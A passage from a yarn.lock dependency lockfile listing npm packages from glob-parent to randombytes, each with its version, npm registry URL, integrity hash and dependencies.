719 | integrity sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==
720 |
721 | glob-parent@^5.1.2, glob-parent@~5.1.2:
722 | version "5.1.2"
723 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz"
724 | integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
725 | dependencies:
726 | is-glob "^4.0.1"
727 |
728 | glob-parent@^6.0.2:
729 | version "6.0.2"
730 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz"
731 | integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
732 | dependencies:
733 | is-glob "^4.0.3"
734 |
735 | glob@7.2.0:
736 | version "7.2.0"
737 | resolved "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz"
738 | integrity sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==
739 | dependencies:
740 | fs.realpath "^1.0.0"
741 | inflight "^1.0.4"
742 | inherits "2"
743 | minimatch "^3.0.4"
744 | once "^1.3.0"
745 | path-is-absolute "^1.0.0"
746 |
747 | growl@1.10.5:
748 | version "1.10.5"
749 | resolved "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz"
750 | integrity sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==
751 |
752 | has-flag@^4.0.0:
753 | version "4.0.0"
754 | resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
755 | integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
756 |
757 | has@^1.0.3:
758 | version "1.0.3"
759 | resolved "https://registry.npmjs.org/has/-/has-1.0.3.tgz"
760 | integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
761 | dependencies:
762 | function-bind "^1.1.1"
763 |
764 | hash.js@1.1.7, hash.js@^1.0.0, hash.js@^1.0.3:
765 | version "1.1.7"
766 | resolved "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz"
767 | integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==
768 | dependencies:
769 | inherits "^2.0.3"
770 | minimalistic-assert "^1.0.1"
771 |
772 | he@1.2.0:
773 | version "1.2.0"
774 | resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz"
775 | integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
776 |
777 | hmac-drbg@^1.0.1:
778 | version "1.0.1"
779 | resolved "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz"
780 | integrity sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==
781 | dependencies:
782 | hash.js "^1.0.3"
783 | minimalistic-assert "^1.0.0"
784 | minimalistic-crypto-utils "^1.0.1"
785 |
786 | ieee754@^1.2.1:
787 | version "1.2.1"
788 | resolved "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz"
789 | integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
790 |
791 | inflight@^1.0.4:
792 | version "1.0.6"
793 | resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz"
794 | integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
795 | dependencies:
796 | once "^1.3.0"
797 | wrappy "1"
798 |
799 | inherits@2, inherits@^2.0.3, inherits@^2.0.4:
800 | version "2.0.4"
801 | resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz"
802 | integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
803 |
804 | is-binary-path@~2.1.0:
805 | version "2.1.0"
806 | resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz"
807 | integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
808 | dependencies:
809 | binary-extensions "^2.0.0"
810 |
811 | is-core-module@^2.8.1:
812 | version "2.9.0"
813 | resolved "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz"
814 | integrity sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==
815 | dependencies:
816 | has "^1.0.3"
817 |
818 | is-extglob@^2.1.1:
819 | version "2.1.1"
820 | resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz"
821 | integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
822 |
823 | is-fullwidth-code-point@^3.0.0:
824 | version "3.0.0"
825 | resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz"
826 | integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
827 |
828 | is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1:
829 | version "4.0.3"
830 | resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz"
831 | integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
832 | dependencies:
833 | is-extglob "^2.1.1"
834 |
835 | is-number@^7.0.0:
836 | version "7.0.0"
837 | resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz"
838 | integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
839 |
840 | is-plain-obj@^2.1.0:
841 | version "2.1.0"
842 | resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz"
843 | integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==
844 |
845 | is-unicode-supported@^0.1.0:
846 | version "0.1.0"
847 | resolved "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz"
848 | integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==
849 |
850 | isexe@^2.0.0:
851 | version "2.0.0"
852 | resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz"
853 | integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
854 |
855 | isomorphic-ws@^4.0.1:
856 | version "4.0.1"
857 | resolved "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz"
858 | integrity sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==
859 |
860 | jayson@^3.4.4:
861 | version "3.6.6"
862 | resolved "https://registry.npmjs.org/jayson/-/jayson-3.6.6.tgz"
863 | integrity sha512-f71uvrAWTtrwoww6MKcl9phQTC+56AopLyEenWvKVAIMz+q0oVGj6tenLZ7Z6UiPBkJtKLj4kt0tACllFQruGQ==
864 | dependencies:
865 | "@types/connect" "^3.4.33"
866 | "@types/express-serve-static-core" "^4.17.9"
867 | "@types/lodash" "^4.14.159"
868 | "@types/node" "^12.12.54"
869 | "@types/ws" "^7.4.4"
870 | JSONStream "^1.3.5"
871 | commander "^2.20.3"
872 | delay "^5.0.0"
873 | es6-promisify "^5.0.0"
874 | eyes "^0.1.8"
875 | isomorphic-ws "^4.0.1"
876 | json-stringify-safe "^5.0.1"
877 | lodash "^4.17.20"
878 | uuid "^8.3.2"
879 | ws "^7.4.5"
880 |
881 | js-sha256@^0.9.0:
882 | version "0.9.0"
883 | resolved "https://registry.npmjs.org/js-sha256/-/js-sha256-0.9.0.tgz"
884 | integrity sha512-sga3MHh9sgQN2+pJ9VYZ+1LPwXOxuBJBA5nrR5/ofPfuiJBE2hnjsaN8se8JznOmGLN2p49Pe5U/ttafcs/apA==
885 |
886 | js-sha3@^0.8.0:
887 | version "0.8.0"
888 | resolved "https://registry.npmjs.org/js-sha3/-/js-sha3-0.8.0.tgz"
889 | integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==
890 |
891 | js-yaml@4.1.0:
892 | version "4.1.0"
893 | resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz"
894 | integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
895 | dependencies:
896 | argparse "^2.0.1"
897 |
898 | json-stringify-safe@^5.0.1:
899 | version "5.0.1"
900 | resolved "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz"
901 | integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==
902 |
903 | json5@^1.0.1:
904 | version "1.0.1"
905 | resolved "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz"
906 | integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==
907 | dependencies:
908 | minimist "^1.2.0"
909 |
910 | jsonparse@^1.2.0:
911 | version "1.3.1"
912 | resolved "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz"
913 | integrity sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==
914 |
915 | lilconfig@^2.0.5:
916 | version "2.0.5"
917 | resolved "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz"
918 | integrity sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==
919 |
920 | locate-path@^6.0.0:
921 | version "6.0.0"
922 | resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz"
923 | integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
924 | dependencies:
925 | p-locate "^5.0.0"
926 |
927 | lodash@^4.17.20:
928 | version "4.17.21"
929 | resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
930 | integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
931 |
932 | log-symbols@4.1.0:
933 | version "4.1.0"
934 | resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz"
935 | integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==
936 | dependencies:
937 | chalk "^4.1.0"
938 | is-unicode-supported "^0.1.0"
939 |
940 | loupe@^2.3.1:
941 | version "2.3.4"
942 | resolved "https://registry.npmjs.org/loupe/-/loupe-2.3.4.tgz"
943 | integrity sha512-OvKfgCC2Ndby6aSTREl5aCCPTNIzlDfQZvZxNUrBrihDhL3xcrYegTblhmEiCrg2kKQz4XsFIaemE5BF4ybSaQ==
944 | dependencies:
945 | get-func-name "^2.0.0"
946 |
947 | lower-case@^2.0.2:
948 | version "2.0.2"
949 | resolved "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz"
950 | integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==
951 | dependencies:
952 | tslib "^2.0.3"
953 |
954 | make-error@^1.1.1:
955 | version "1.3.6"
956 | resolved "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz"
957 | integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==
958 |
959 | merge2@^1.3.0:
960 | version "1.4.1"
961 | resolved "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz"
962 | integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
963 |
964 | micromatch@^4.0.4:
965 | version "4.0.5"
966 | resolved "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz"
967 | integrity sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==
968 | dependencies:
969 | braces "^3.0.2"
970 | picomatch "^2.3.1"
971 |
972 | minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
973 | version "1.0.1"
974 | resolved "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz"
975 | integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
976 |
977 | minimalistic-crypto-utils@^1.0.1:
978 | version "1.0.1"
979 | resolved "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz"
980 | integrity sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==
981 |
982 | minimatch@4.2.1:
983 | version "4.2.1"
984 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-4.2.1.tgz"
985 | integrity sha512-9Uq1ChtSZO+Mxa/CL1eGizn2vRn3MlLgzhT0Iz8zaY8NdvxvB0d5QdPFmCKf7JKA9Lerx5vRrnwO03jsSfGG9g==
986 | dependencies:
987 | brace-expansion "^1.1.7"
988 |
989 | minimatch@^3.0.4:
990 | version "3.1.2"
991 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz"
992 | integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
993 | dependencies:
994 | brace-expansion "^1.1.7"
995 |
996 | minimist@^1.2.0, minimist@^1.2.6:
997 | version "1.2.6"
998 | resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz"
999 | integrity sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==
1000 |
1001 | mkdirp@^0.5.1:
1002 | version "0.5.6"
1003 | resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz"
1004 | integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==
1005 | dependencies:
1006 | minimist "^1.2.6"
1007 |
1008 | mocha@^9.0.3:
1009 | version "9.2.2"
1010 | resolved "https://registry.npmjs.org/mocha/-/mocha-9.2.2.tgz"
1011 | integrity sha512-L6XC3EdwT6YrIk0yXpavvLkn8h+EU+Y5UcCHKECyMbdUIxyMuZj4bX4U9e1nvnvUUvQVsV2VHQr5zLdcUkhW/g==
1012 | dependencies:
1013 | "@ungap/promise-all-settled" "1.1.2"
1014 | ansi-colors "4.1.1"
1015 | browser-stdout "1.3.1"
1016 | chokidar "3.5.3"
1017 | debug "4.3.3"
1018 | diff "5.0.0"
1019 | escape-string-regexp "4.0.0"
1020 | find-up "5.0.0"
1021 | glob "7.2.0"
1022 | growl "1.10.5"
1023 | he "1.2.0"
1024 | js-yaml "4.1.0"
1025 | log-symbols "4.1.0"
1026 | minimatch "4.2.1"
1027 | ms "2.1.3"
1028 | nanoid "3.3.1"
1029 | serialize-javascript "6.0.0"
1030 | strip-json-comments "3.1.1"
1031 | supports-color "8.1.1"
1032 | which "2.0.2"
1033 | workerpool "6.2.0"
1034 | yargs "16.2.0"
1035 | yargs-parser "20.2.4"
1036 | yargs-unparser "2.0.0"
1037 |
1038 | ms@2.1.2:
1039 | version "2.1.2"
1040 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz"
1041 | integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
1042 |
1043 | ms@2.1.3:
1044 | version "2.1.3"
1045 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz"
1046 | integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
1047 |
1048 | nanoid@3.3.1:
1049 | version "3.3.1"
1050 | resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.1.tgz"
1051 | integrity sha512-n6Vs/3KGyxPQd6uO0eH4Bv0ojGSUvuLlIHtC3Y0kEO23YRge8H9x1GCzLn28YX0H66pMkxuaeESFq4tKISKwdw==
1052 |
1053 | nanoid@^3.3.4:
1054 | version "3.3.4"
1055 | resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz"
1056 | integrity sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==
1057 |
1058 | no-case@^3.0.4:
1059 | version "3.0.4"
1060 | resolved "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz"
1061 | integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==
1062 | dependencies:
1063 | lower-case "^2.0.2"
1064 | tslib "^2.0.3"
1065 |
1066 | node-addon-api@^2.0.0:
1067 | version "2.0.2"
1068 | resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz"
1069 | integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==
1070 |
1071 | node-fetch@2, node-fetch@2.6.7:
1072 | version "2.6.7"
1073 | resolved "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz"
1074 | integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==
1075 | dependencies:
1076 | whatwg-url "^5.0.0"
1077 |
1078 | node-gyp-build@^4.2.0, node-gyp-build@^4.3.0:
1079 | version "4.4.0"
1080 | resolved "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.4.0.tgz"
1081 | integrity sha512-amJnQCcgtRVw9SvoebO3BKGESClrfXGCUTX9hSn1OuGQTQBOZmVd0Z0OlecpuRksKvbsUqALE8jls/ErClAPuQ==
1082 |
1083 | node-releases@^2.0.3:
1084 | version "2.0.5"
1085 | resolved "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz"
1086 | integrity sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q==
1087 |
1088 | normalize-path@^3.0.0, normalize-path@~3.0.0:
1089 | version "3.0.0"
1090 | resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz"
1091 | integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
1092 |
1093 | normalize-range@^0.1.2:
1094 | version "0.1.2"
1095 | resolved "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz"
1096 | integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==
1097 |
1098 | object-hash@^3.0.0:
1099 | version "3.0.0"
1100 | resolved "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz"
1101 | integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==
1102 |
1103 | once@^1.3.0:
1104 | version "1.4.0"
1105 | resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz"
1106 | integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
1107 | dependencies:
1108 | wrappy "1"
1109 |
1110 | p-limit@^3.0.2:
1111 | version "3.1.0"
1112 | resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz"
1113 | integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
1114 | dependencies:
1115 | yocto-queue "^0.1.0"
1116 |
1117 | p-locate@^5.0.0:
1118 | version "5.0.0"
1119 | resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz"
1120 | integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
1121 | dependencies:
1122 | p-limit "^3.0.2"
1123 |
1124 | pako@^2.0.3:
1125 | version "2.0.4"
1126 | resolved "https://registry.npmjs.org/pako/-/pako-2.0.4.tgz"
1127 | integrity sha512-v8tweI900AUkZN6heMU/4Uy4cXRc2AYNRggVmTR+dEncawDJgCdLMximOVA2p4qO57WMynangsfGRb5WD6L1Bg==
1128 |
1129 | path-exists@^4.0.0:
1130 | version "4.0.0"
1131 | resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz"
1132 | integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
1133 |
1134 | path-is-absolute@^1.0.0:
1135 | version "1.0.1"
1136 | resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz"
1137 | integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
1138 |
1139 | path-parse@^1.0.7:
1140 | version "1.0.7"
1141 | resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz"
1142 | integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
1143 |
1144 | pathval@^1.1.1:
1145 | version "1.1.1"
1146 | resolved "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz"
1147 | integrity sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==
1148 |
1149 | picocolors@^1.0.0:
1150 | version "1.0.0"
1151 | resolved "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz"
1152 | integrity sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==
1153 |
1154 | picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.3.1:
1155 | version "2.3.1"
1156 | resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz"
1157 | integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
1158 |
1159 | postcss-js@^4.0.0:
1160 | version "4.0.0"
1161 | resolved "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz"
1162 | integrity sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==
1163 | dependencies:
1164 | camelcase-css "^2.0.1"
1165 |
1166 | postcss-load-config@^3.1.4:
1167 | version "3.1.4"
1168 | resolved "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz"
1169 | integrity sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==
1170 | dependencies:
1171 | lilconfig "^2.0.5"
1172 | yaml "^1.10.2"
1173 |
1174 | postcss-nested@5.0.6:
1175 | version "5.0.6"
1176 | resolved "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz"
1177 | integrity sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==
1178 | dependencies:
1179 | postcss-selector-parser "^6.0.6"
1180 |
1181 | postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.6:
1182 | version "6.0.10"
1183 | resolved "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz"
1184 | integrity sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==
1185 | dependencies:
1186 | cssesc "^3.0.0"
1187 | util-deprecate "^1.0.2"
1188 |
1189 | postcss-value-parser@^4.2.0:
1190 | version "4.2.0"
1191 | resolved "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz"
1192 | integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
1193 |
1194 | postcss@^8.4.12, postcss@^8.4.14:
1195 | version "8.4.14"
1196 | resolved "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz"
1197 | integrity sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==
1198 | dependencies:
1199 | nanoid "^3.3.4"
1200 | picocolors "^1.0.0"
1201 | source-map-js "^1.0.2"
1202 |
1203 | prettier@^2.6.2:
1204 | version "2.6.2"
1205 | resolved "https://registry.npmjs.org/prettier/-/prettier-2.6.2.tgz"
1206 | integrity sha512-PkUpF+qoXTqhOeWL9fu7As8LXsIUZ1WYaJiY/a7McAQzxjk82OF0tibkFXVCDImZtWxbvojFjerkiLb0/q8mew==
1207 |
1208 | queue-microtask@^1.2.2:
1209 | version "1.2.3"
1210 | resolved "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz"
1211 | integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
1212 |
1213 | quick-lru@^5.1.1:
1214 | version "5.1.1"
1215 | resolved "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz"
1216 | integrity sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==
1217 |
1218 | randombytes@^2.1.0:
1219 | version "2.1.0"
1220 | resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz"
